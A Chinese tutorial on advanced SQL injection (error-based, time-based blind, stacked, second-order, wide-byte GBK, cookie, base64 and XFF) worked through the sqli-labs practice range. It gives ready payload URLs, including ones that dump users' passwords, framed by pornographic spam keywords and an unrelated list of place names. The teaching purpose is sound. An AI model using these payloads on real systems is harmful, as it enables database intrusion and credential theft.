最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

web安全之SQL注入進(jìn)階

2020-04-17 16:19 作者:匯智知了堂  | 我要投稿

本文是web安全系列的第二章,主要介紹SQL注入進(jìn)階內(nèi)容。

報(bào)錯注入攻擊

查庫 (select schema_name from information_schema.schemata limit m,n) 查表 (select table_name from information_schema.columns where table_schema=’whc’ limit 0,1) 查字段 (select column_name from information_schema.columns where table_schema=’whc’ limit 0,1) 加上limit 是因?yàn)閟qllab里面限制了回顯的個數(shù),實(shí)戰(zhàn)里面應(yīng)該用不到。

1. Floor 方式

用法:

select 1,count(*),concat(0x3a,0x3a,(select use()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

函數(shù)釋義:

rand() 隨機(jī)數(shù)函數(shù) 產(chǎn)生0-1的隨機(jī)數(shù) count(_) 計(jì)數(shù) floor() 向下取整函數(shù),舍去小數(shù)點(diǎn),比如:floor(1.3)=1 floor(rand()_2) 結(jié)果只有0和1 group by name 按name的首位字典順序排列 concat() 連接括號里面的內(nèi)容 select 1 from (table name) 派生表

此處有三個點(diǎn),一是需要count計(jì)數(shù),二是floor,取得0 or 1,進(jìn)行數(shù)據(jù)的重復(fù),三是group by進(jìn)行分組,但具體原理解釋不是很通,大致原理為分組后數(shù)據(jù)計(jì)數(shù)時重復(fù)造成的錯誤。也有解釋為mysql 的bug 的問題。但是此處需要將rand(0),rand()需要多試幾次才行。

實(shí)列:

在sqli less-5上進(jìn)行測試

這里只用user()來做實(shí)例,其他爆表,爆字段直接代替user()就行了



id=1' union select 1,count(*),concat(0x3a,0x3a,user(),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+

可以簡化成這樣:

id=1' and (select count(*) from information_schema.tables group by concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand(0)*2))) --+

也可以改成這樣:

id=1' and (select 1 from (select count(*),(concat(0x3a,user(),0x3a,floor(rand()*2)))name from information_schema.tables group by name)b --+

語句分解:

(select 1 from b) //在b上做派生表 b=select count(_),name from information_schema.tables group by name //從information_schema里面選取那么的內(nèi)容和計(jì)數(shù)的內(nèi)容 name=concat(0x3a,(查詢內(nèi)容),0x3a,floor(rand()_2)) //把:和查詢內(nèi)容,還有隨機(jī)取整數(shù) 連接在一起 具體為什么count(_),floor(rand(0)_2) group by 會報(bào)錯,必須說這三個元素必須全部放在一個語句里才能報(bào)錯。

解釋下select 1 from table

它的作用就是 增加臨時列,每行的列值是寫在select后的數(shù),這條sql語句中是1

rand(0) rand(1)和rand()的區(qū)別

rand()會隨機(jī)報(bào)錯,就是有可能報(bào)錯,有的時候不會,rand(0)肯定會報(bào)錯,rand(1)則一定不會報(bào)錯。

所以要讓他報(bào)錯的話直接用rand(0)


2.xpath函數(shù):

主要的兩個函數(shù):

Mysql5.1.5

  1. updatexml():對xml進(jìn)行查詢和修改

  2. extractvalue():對xml進(jìn)行查詢和修改

都是最大爆32位。

and updatexml(1,concat(0×26,(version()),0×26),1);

and (extractvalue(1,concat(0×26,(version()),0×26)));

Sqli-lab less5測試:

Updatexml():



http://192.168.1.180/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x26,database(),0x26),1);--+



Extractvalue():

http://192.168.1.180/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x26,database(),0x26));--+

時間盲注

它與Boolean注入的不同之處在于,時間注入是利用sleep()benchmark()等函數(shù)讓mysql的執(zhí)行時間變長。

時間盲注多與IF(expr1,expr2,expr3)結(jié)合使用,此if語句含義是:如果expr1是TRUE,則IF()的返回值為expr2:否則返回值為expr3,

[http://43.247.91.228:84/Less-9/?id=1’ and if(length(database](http://43.247.91.228:84/Less-9/?id=1' and if(length(database)()))>1,sleep(5),1)%23 //判斷數(shù)據(jù)庫的庫名長度為多少

http://43.247.91.228:84/Less-9/?id=1’ and if(substr(database(),1,1)=’s’,sleep(5),1) //判斷數(shù)據(jù)庫名的第一個字

在線靶場

這里輸入?id=1′ ?id=1″頁面都沒有變化,說明之前的注入方法都沒用,包括boolean型盲注也都不行了。

嘗試基于時間的盲注,這里需要介紹一個mysql內(nèi)置的函數(shù)sleep(5)?表示執(zhí)行這個函數(shù)時會延遲5秒。(每種數(shù)據(jù)庫都有各自延時函數(shù))

可以用F12看下網(wǎng)站處理這個請求正常需要的時間。

驗(yàn)證時間盲注

輸入http://43.247.91.228:84/Less-9/?id=1響應(yīng)時間為1秒內(nèi)。



輸入:http://43.247.91.228:84/Less-9/?id=1’ and sleep(5)%23響應(yīng)時間為5秒



利用burp進(jìn)行抓包利用破解對a-z的字母進(jìn)行窮舉,得到數(shù)據(jù)庫名。

時間注入代碼分析

在時間注入頁面中,程序獲取GET參數(shù)ID,通過preg_match判斷參數(shù)ID中是否存在Union危險(xiǎn)字符,然后將參數(shù)ID拼接到SQL語句中。從數(shù)據(jù)庫中查詢SQL語句,如果有結(jié)果,則返回yes,否則返回no。當(dāng)訪問該頁面時,代碼根據(jù)數(shù)據(jù)庫查詢結(jié)果返回YES或no,而不返回?cái)?shù)據(jù)庫中的任何數(shù)據(jù)庫,所以一頁面上只會顯示yes或no ,和Boolean注入不同的是,此處沒有過濾sleep等字符,



此處當(dāng)訪問id=1‘ and if (ord(substring(user(),1,1))=114,sleep(3),1)%23

由于user()為root,root第一個字符‘r’的ASCII值是114,所以SQL語句中if條件成立,執(zhí)行sleep(3),頁面會延遲3s,通過這種延遲即可判斷sql語句的執(zhí)行結(jié)果。

堆疊查詢注入攻擊

堆疊查詢可以執(zhí)行多條語句,多語句之間以分號(;)隔開。堆疊查詢注入就是利用這個特點(diǎn)。

‘;select if(substr(user(),1,1)=’r’,sleep(3),1)%23 //利用堆疊注入獲取數(shù)據(jù)

‘;select if(substr((select table_name form information_schema.tables where table_schema=datables() limit 0,1),1,1)=’e’,sleep(3),1)%23 //利用堆載獲取表名

堆載查詢注入代碼分析

在堆疊注入頁面中,程序獲取GET參數(shù)ID,使用PDO的方式進(jìn)行數(shù)據(jù)查詢,但仍然將參數(shù)ID拼接到查詢語句中,導(dǎo)致PDO沒有起到預(yù)編譯的效果,程序仍然存在SQL注入漏洞。



使用POD執(zhí)行SQL語句時,可以執(zhí)行多語句,不過這樣通常不能直接得到注入結(jié)果,因?yàn)镻OD只會返回第一條SQL語句執(zhí)行的結(jié)果,所以在第二條語句中可以用update更新數(shù)據(jù)或者使用時間盲注獲取數(shù)據(jù)。訪問:dd.php?id=1’;select if(ord(substing(user(),1,1))=114,sleep(3),1);%23時執(zhí)行sql語句為:

SELECT * FROM users where ‘id’ =’1’; select if(ord(substring(user(),1,1))=114,sleep(3),1);%23

此時SQL語句分為了兩條,第一SELECT * FROM user where ‘id‘ =’1‘是代碼自己的selct查詢,而selct if(ord(substring(user(),1,1))=114,sleep(3),1)%23則是我們構(gòu)造的時間盲注的語句。

二次注入攻擊

什么是二次注入?

二次注入是指已存儲(數(shù)據(jù)庫,文件)的用戶輸入被讀取后再次進(jìn)入到SQL查詢語句中導(dǎo)致的注入。

二次注入是sql注入的一種,但是比普通sql注入利用更加困難,利用門檻更高。

普通注入數(shù)據(jù)直接進(jìn)入到 SQL 查詢中,而二次注入則是輸入數(shù)據(jù)經(jīng)處理后存儲,取出后,再次進(jìn)入到 SQL 查詢。

二次注入原理


二次注入的原理,在第一次進(jìn)行數(shù)據(jù)庫插入數(shù)據(jù)的時候,僅僅只是使用了addslashes或者是借助?get_magic_quotes_gpc對其中的特殊字符進(jìn)行了轉(zhuǎn)義,在寫入數(shù)據(jù)庫的時候還是保留了原來的數(shù)據(jù),但是數(shù)據(jù)本身還是臟數(shù)據(jù)。

在將數(shù)據(jù)存入到了數(shù)據(jù)庫中之后,開發(fā)者就認(rèn)為數(shù)據(jù)是可信的。在下一次進(jìn)行需要進(jìn)行查詢的時候,直接從數(shù)據(jù)庫中取出了臟數(shù)據(jù),沒有進(jìn)行進(jìn)一步的檢驗(yàn)和處理,這樣就會造成SQL的二次注入。比如在第一次插入數(shù)據(jù)的時候,數(shù)據(jù)中帶有單引號,直接插入到了數(shù)據(jù)庫中;然后在下一次使用中在拼湊的過程中,就形成了二次注入。



二次注入攻擊實(shí)列

靶場練習(xí)地址

二次注入的實(shí)例——SQLIlab lesson-24

學(xué)習(xí)SQL注入,必定要刷SQLIlab,這里以SQLIlab lesson-24為例,也是考察的二次注入的點(diǎn)。打開題目



這題正常的流程是首先注冊一個賬號,然后登陸進(jìn)去會讓你修改新的密碼:


如果直接嘗試在登陸處嘗試SQL注入,payload: admin’#發(fā)現(xiàn)失?。?/p>


看一下源代碼:


登陸處的usernamepassword都經(jīng)過了mysql_real_escape_string函數(shù)的轉(zhuǎn)義,直接執(zhí)行SQL語句會轉(zhuǎn)義’,所以該處無法造成SQL注入。

Ok,此時我們注冊一個test’#的賬號:


注冊用戶的時候用了mysql_escape_string過濾參數(shù):



但是數(shù)據(jù)庫中還是插入了問題數(shù)據(jù)test’#



也就是說經(jīng)過mysql_escape_string轉(zhuǎn)義的數(shù)據(jù)存入數(shù)據(jù)庫后被還原,這里做了一個測試:



回到題目,此時,test用戶的原來密碼為test,我們以test’#用戶登陸,再進(jìn)行密碼修改


我們無需填寫current password即可修改test用戶的密碼:


我們再看一下test用戶的密碼:

Ok,我們看一下源代碼:

Username直接從數(shù)據(jù)庫中取出,沒有經(jīng)過轉(zhuǎn)義處理。在更新用戶密碼的時候其實(shí)執(zhí)行了下面的命令:

“UPDATEusers SET PASSWORD=’22′ where **username=’test’#**‘ and password=’$curr_pass’”;

因?yàn)槲覀儗栴}數(shù)據(jù)存儲到了數(shù)據(jù)庫,而程序再取數(shù)據(jù)庫中的數(shù)據(jù)的時候沒有進(jìn)行二次判斷便直接帶入到代碼中,從而造成了二次注入;

二次注入代碼分析

以下代碼實(shí)現(xiàn)了簡單的用戶注冊功能,程序獲取到GET參數(shù)username和參數(shù)password,然后將username和password拼接到SQL語句,使用insert 語句插入數(shù)據(jù)庫中,由于參數(shù)username使用addslashes進(jìn)行轉(zhuǎn)義,參數(shù)password進(jìn)行了MD5哈希,所以此處不存在SQL注入漏洞。


當(dāng)訪問username=test’&password=123456時,執(zhí)行的SQL語句為:

Insert into users(‘username’,’password’) values (‘test\’’,’ E10ADC3949BA59ABBE56E057F20F883E’)

數(shù)據(jù)庫中就會存在一條名為test‘的用戶

寬字節(jié)注入攻擊

什么是寬字節(jié)注入?

如今有很多人在編碼的時候,大多數(shù)人對程序的編碼都使用unicode編碼,網(wǎng)站都使用utf-8來一個統(tǒng)一國際規(guī)范。但仍然有很多,包括國內(nèi)及國外(特別是非英語國家)的一些cms,仍然使用著自己國家的一套編碼,比如gbk,作為自己默認(rèn)的編碼類型。也有一些cms為了考慮老用戶,所以出了gbk和utf-8兩個版本。一個gbk編碼漢字,占用2個字節(jié)。一個utf-8編碼的漢字,占用3個字節(jié)。

至于mysql寬字節(jié)注入的原理就是因?yàn)閿?shù)據(jù)庫使用了GBK編碼

寬字節(jié)注入原理

GBK 占用兩字節(jié)

ASCII占用一字節(jié)

PHP中編碼為GBK,函數(shù)執(zhí)行添加的是ASCII編碼(添加的符號為“\”),MYSQL默認(rèn)字符集是GBK等寬字節(jié)字符集。

大家都知道%df’ 被PHP轉(zhuǎn)義(開啟GPC、用addslashes函數(shù),或者icov等),單引號被加上反斜杠\,變成了 %df\’,其中\(zhòng)的十六進(jìn)制是 %5C ,那么現(xiàn)在 %df\’ =%df%5c%27,如果程序的默認(rèn)字符集是GBK等寬字節(jié)字符集,則MySQL用GBK的編碼時,會認(rèn)為 %df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。

寬字字節(jié)注入實(shí)列

sqli-32 題

測試靶場地址

思路:

  1. 由于單引號被過濾了,所以我們使用%df吃掉 \, 具體的原因是urlencode(\') = %5c%27,我們在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK編碼方式的時候會將兩個字節(jié)當(dāng)做一個漢字,此事%df%5c就是一個漢字,%27則作為一個單獨(dú)的符號在外面,同時也就達(dá)到了我們的目的。

  2. 將 ‘ 中的 \ 過濾掉,例如可以構(gòu)造?%**%5c%5c%27的情況,后面的%5c會被前面的%5c給注釋掉。這也是bypass的一種方法。

注入實(shí)操:

(1) 構(gòu)造代碼,成功繞過,payload如下:

http://localhost:81/sqli-labs-master/Less-32/index.php?id=1%df%27 and 1=1--+

(2)order by查詢字段數(shù)

http://localhost:81/sqli-labs-master/Less-32/index.php?id=1%df%27 order by 4--+

(3)union selec聯(lián)合查詢

http://localhost:81/sqli-labs-master/Less-32/index.php?id=0%df%27 union select 1,2,3--+

其他的都是一樣的了、。。。。。。。。。。。

http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+

http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+

http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 oder by 3--+

http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,2,3--+

http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,database(),3--+

http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,(select group_concat(username,password) from users),3--+

寬字節(jié)注入代碼分析

在寬字節(jié)注入頁面中,程序獲取GET參數(shù)ID,并對參數(shù)ID使用addslashes()轉(zhuǎn)義,然后拼接到SQL語句中,進(jìn)行查詢;

當(dāng)訪問id=1‘時,執(zhí)行的SQL語句:

SELECT * FORM users WHWRE id=’1\’’

可以看到單引號被轉(zhuǎn)義符“\”轉(zhuǎn)義,所以在一般情況下,是無法注入的,但由于在數(shù)據(jù)庫查詢前執(zhí)行了SET NAMES ‘GBK’,將編碼設(shè)置為寬字節(jié)GBK,所以此處存在寬字節(jié)注入漏洞,

在php中,通過iconv()進(jìn)行編碼轉(zhuǎn)換時,也可能存在寬字符注入漏洞。

Cookie 注入攻擊

通常我們的開發(fā)人員在開發(fā)過程中會特別注意到防止惡意用戶進(jìn)行惡意的注入操作,因此會對傳入的參數(shù)進(jìn)行適當(dāng)?shù)倪^濾,但是很多時候,由于個人對安全技術(shù)了解的不同,有些開發(fā)人員只會對get,post這種方式提交的數(shù)據(jù)進(jìn)行參數(shù)過濾。

但我們知道,很多時候,提交數(shù)據(jù)并非僅僅只有g(shù)et\post這兩種方式,還有一種經(jīng)常被用到的方式:request(“xxx”),即request方法

通過這種方法一樣可以從用戶提交的參數(shù)中獲取參數(shù)值,這就造成了cookie注入的最基本條件:使用了request方法,但是注入保護(hù)程序中只對get\post方法提交的數(shù)據(jù)進(jìn)行了過濾。

Cookie注入攻擊實(shí)列

靶場地址

這關(guān)是一個Cookie處的注入,輸入正確的賬號密碼后,會跳到index.php頁面,如下圖

這個時候再訪問登陸頁面的時候43.247.91.228:84/Less-2還是上面的頁面,因?yàn)榈顷懞髮⑿畔⒋嬖诹薈ookie中,后臺進(jìn)行判斷,發(fā)現(xiàn)Cookie中有值時會顯示上面的個人信息,而不是登錄框。 在上面哪些信息中可以看到,多出了一個Your ID:8,這個信息很有可能是從數(shù)據(jù)庫中查詢出來的,我們再次訪問該頁面,使用burp抓包分析

可以看到Cookie中有uname=admin,說明后臺很有可能利用cookie中的uname取數(shù)據(jù)庫中進(jìn)行查詢操作。

將cookie中的信息改為uname=admin’

頁面報(bào)錯了,并且從報(bào)錯信息中可以看出,后臺使用的是單引號進(jìn)行的拼湊。后面沒有必要繼續(xù)下去了,聯(lián)表查詢、報(bào)錯注入、盲注在這里都是可以的。

繼續(xù)使用burp進(jìn)Cookie: uname=admin' AND UpdateXml(1,concat(0x7e,(select username from users LIMIT 1,1),0x7e),1)# ;

得到:

Cookie 注入代碼分析

通過$COOKIE能獲取瀏覽器cookie中的數(shù)據(jù),在cookie注入頁面中程序通過$COOKIE獲取參數(shù)ID,然后直接將ID拼接到slect語句中進(jìn)行查詢,如果有結(jié)果則將結(jié)果輸出到頁面。

這里可以看到,由于沒有過濾cookie中的參數(shù)ID且直接拼接到SQL語句中,所以存在SQL注入漏洞。當(dāng)在cookie中添加id=1 union select 1,2,3%23時,執(zhí)行的SQL語句為:

Select * from users where ‘id’=1 union select 1,2,3#

此時,SQL語句可以分為select * from users where ‘id’ =1 和 union select 1,2,3兩條,利用第二條語句就可以獲取數(shù)據(jù)庫中的數(shù)據(jù)。

[ 0 ]Base64 注入攻擊

Base64 注入代碼分析

在base64 注入頁面中,程序獲取GET參數(shù)ID,利用base64_decode()對參數(shù)ID進(jìn)行base64解碼,然后直接將解碼后的$id拼接到select語句中進(jìn)行查詢,通過while循環(huán)將查詢結(jié)果輸出到頁面。

由于代碼沒有過濾解碼后的$id,且將$id直接拼接到SQL語句中,所以存在SQL注入漏洞。當(dāng)訪問id=1 union select 1,2,3#時,執(zhí)行的SQL語句為:

Select * from users wheren ‘id’=1 union select 1,2,3#

此時SQL語句可以分為select * form users where ‘id’=1和union select 1,2,3兩條,利用第二條語句就可以獲取數(shù)據(jù)庫中的數(shù)據(jù)。

[ 0 ]XFF注入攻擊

XFF注入代碼分析

PHP 中的getenv()函數(shù)用于獲取一個環(huán)境變量的值,類似于$SERVER或$ENV,返回環(huán)境變量對應(yīng)的值,如果環(huán)境變量不存在則返回FALSE。

使用以下代碼即可獲取客戶端IP地址,程序先判斷是否存在HTTP頭部參數(shù)


web安全之SQL注入進(jìn)階的評論 (共 條)

分享到微博請遵守國家法律
离岛区| 天等县| 烟台市| 岳普湖县| 洪雅县| 尼玛县| 永修县| 宁陕县| 德兴市| 城口县| 盐池县| 根河市| 宜都市| 麻阳| 天祝| 芮城县| 威宁| 梨树县| 玉树县| 温州市| 南乐县| 镇沅| 福安市| 固原市| 河间市| 乡城县| 安溪县| 贵德县| 金沙县| 聂荣县| 黔西县| 莱西市| 昌图县| 黑山县| 新田县| 布拖县| 安溪县| 寻乌县| 临安市| 上蔡县| 安多县|